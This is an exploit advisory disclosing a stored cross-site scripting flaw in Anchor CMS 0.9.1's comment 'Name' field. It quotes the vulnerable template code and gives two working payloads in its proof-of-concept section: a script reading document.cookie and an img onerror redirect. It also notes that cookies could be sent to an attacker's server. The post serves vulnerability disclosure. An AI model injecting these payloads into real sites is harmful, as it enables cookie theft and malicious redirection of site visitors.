Anchor CMS 0.9.1 – Persistent Cross-Site Scripting
# Exploit Title : AnchorCMS Stored XSS exploit v0.9.1 # Exploit Author: DURAKIBOX / dn5 # Website : halisduraki.com # Email : duraki@null.net # Date : 18.7.2013. # CMS uri : http://anchorcms.com/ # Version : AnchorCMS <= 0.9.1 # About the CMS Anchor is a super-simple, lightweight blog system, made to let you just write. It's still a new CMS but it has a lot of options even if it's coded by one person. Inital coder is Visual Idiot. Anchor is open-source project also located on Github. # About the exploit -> File : article.php file shows article/post page with text written by owners. If owner enable comments for specific post, attacker can execute malicious content using a comment form. The malicious content could be either JavaScript code, but may also include HTML, Flash etc. The code is executed over form where "Name" field is actual vulnerability. As seen in code bellow, the function "comment_form_url()" is called through POST action. <form id="comment" class="commentform wrap" method="post" action="<?php echo comment_form_url(); ?>#comment"> The code bellow show us a field which is vulnerable with function "comment_form_input_name" <p class="name"> <label for="name">Your name:</label> <?php echo comment_form_input_name('placeholder="Your name"'); ?> </p> \functions\comments.php file contain function for posting comment. function comment_form_url() { return Uri::to(Uri::current()); } article.php file also contain a code for showing comments if they are enabled. The most specific one for us is function "comment_name()" which is actual result of exploit. <?php if(comments_open()): ?> <?php if(has_comments()): ?> <ul class="commentlist"> <?php $i = 0; while(comments()): $i++; ?> ... <h2><?php echo comment_name(); ?></h2> ... <span class="counter"><?php echo $i; ?></span> <?php endwhile; ?> <?php endif; ?> # PoC (Proof of Concept) Lets put some assumptions - CMS have original files - Article have comments enabled +++++++++++++++++++++++++++++++ If we comment on article in this way - Name : <script>alert(document.cookie)</script> Email : anything@service.com Text : Stored XSS RESULT : Who ever access article with comment above will get the same result, a cookie stored in. If we comment on article in this way - Name : <img src="http://redirect/exploit/" onerror=window.open("http://www.example.com","szck",'height=500,width=500');> Email : anything@service.com Text : Stored XSS RESULT : Who ever access article with comment above will be redirected to "example.com" website. In both example we see that attacker can execute malicious code over stored-xss so users can infect their self, either expose their cookie over gate which attacker can set-up or download malware from redirected website. ======================================================= + dn5 | @ludi_zeko | www.halisduraki.com ======================================================= |